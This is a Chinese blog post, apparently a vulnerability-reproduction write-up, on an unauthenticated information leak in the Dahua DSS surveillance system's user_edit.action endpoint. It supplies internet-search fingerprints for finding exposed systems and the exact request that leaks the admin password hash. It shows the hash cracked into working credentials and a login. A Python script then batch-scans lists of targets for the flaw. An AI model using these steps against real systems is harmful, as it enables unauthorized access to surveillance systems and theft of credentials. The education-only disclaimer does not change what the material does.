【漏洞复现】DSS数字监控系统——user_edit.action——敏感信息泄露

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。


漏洞描述

DSS数字监控系统是在通用的安防视频监控系统的基础上进行设计开发,除 了普通安防视频监控所共有的实时监视、云台操作、录像回放、报警处理、设备管理等功能外,更多地考虑到如何方便用户使用系统的人机工程。其user_edit.action存在敏感信息泄露,未授权攻击者能直接获取系统system用户的加密密文,通过解密获取明文密码,从而进入系统,获取web权限。

漏洞复现

1)信息收集
fofa:app="dahua-DSS"
hunter:favicon: "9fa8a9035ce4baa7eee40725b5cfed16"

在这里插入图片描述
2)构造数据包

GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host:ip

在这里插入图片描述

在这里插入图片描述

3)口算MD5
278bf69381b3053c5387cf09bed039ce
在这里插入图片描述
system:dss:admin123

4)登入
账号:system
密码:admin123
在这里插入图片描述
登入成功!

测试工具

poc

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# 导入requests库,用于发送HTTP请求
import requests
# 导入argparse库,用于处理命令行参数
import argparse
# 导入re库,用于正则表达式匹配
import re
# 从requests.exceptions导入RequestException,用于捕获请求异常
from requests.exceptions import RequestException
# 从urllib3.exceptions导入InsecureRequestWarning,用于禁用不安全请求警告
from urllib3.exceptions import InsecureRequestWarning

# 打印颜色控制字符
# 打印颜色
RED = '\033[91m'
RESET = '\033[0m'

# 禁用urllib3的不安全请求警告
# 禁用不安全请求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
    """
    检查给定URL是否存在大华DSS数字监控系统user_edit.action信息泄露漏洞。
    
    :param url: 待检查的URL字符串
    """
    try:
        # 构造攻击URL,尝试访问管理员用户编辑页面
        attack_url = url.rstrip('/') + "/admin/cascade_/user_edit.action?id=1"
  
        # 发送GET请求,忽略SSL验证,设置超时为10秒
        response = requests.get(attack_url, verify=False, timeout=10)
        # 定义正则表达式模式,用于匹配可能的信息泄露标识
        regex_patterns = [
            '[0-9a-f]{32}'  # 匹配32位的十六进制字符串,可能是UUID或其他唯一标识
        ]

        # 默认假设没有发现数据泄露
        data_disclosed = False  # 标记是否发现信息泄露

        # 遍历正则表达式模式,检查响应文本中是否存在匹配
        for pattern in regex_patterns:
            # 如果找到匹配,输出漏洞警告信息,并跳出循环
            if re.search(pattern, response.text):
                print(f"{RED}URL [{url}] 存在大华 DSS 数字监控系统user_edit.action 信息泄露漏洞。{RESET}")
                data_disclosed = True
                break  # 匹配到则跳出循环

        # 如果没有发现数据泄露,输出安全提示
        if not data_disclosed:
            print(f"URL [{url}] 未发现漏洞。")
          
    except RequestException as e:
        # 如果请求过程中发生异常,输出错误信息
        print(f"URL [{url}] 请求失败: {e}")

def main():
    """
    程序主入口。
    
    使用argparse处理命令行参数,根据参数执行URL漏洞检查。
    """
    # 创建命令行参数解析器
    parser = argparse.ArgumentParser(description='检查目标URL是否存在大华 DSS 数字监控系统user_edit.action 信息泄露漏洞。')
    # 添加URL参数,用于指定单个目标URL
    parser.add_argument('-u', '--url', help='指定目标URL')
    # 添加文件参数,用于指定包含多个目标URL的文本文件
    parser.add_argument('-f', '--file', help='指定包含多个目标URL的文本文件')

    # 解析命令行参数
    args = parser.parse_args()

    # 如果指定了URL参数
    if args.url:
        # 如果URL未以http://或https://开头,则添加http://
        args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.url
        # 调用漏洞检查函数
        check_vulnerability(args.url)
    # 如果指定了文件参数
    elif args.file:
        # 打开文件,读取每行作为URL进行检查
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                # 处理URL前缀,确保URL以http://或https://开头
                url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url
                # 调用漏洞检查函数
                check_vulnerability(url)

if __name__ == '__main__':
    main()

运行截图
在这里插入图片描述


我们把世界看错,反说它欺骗了我们。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值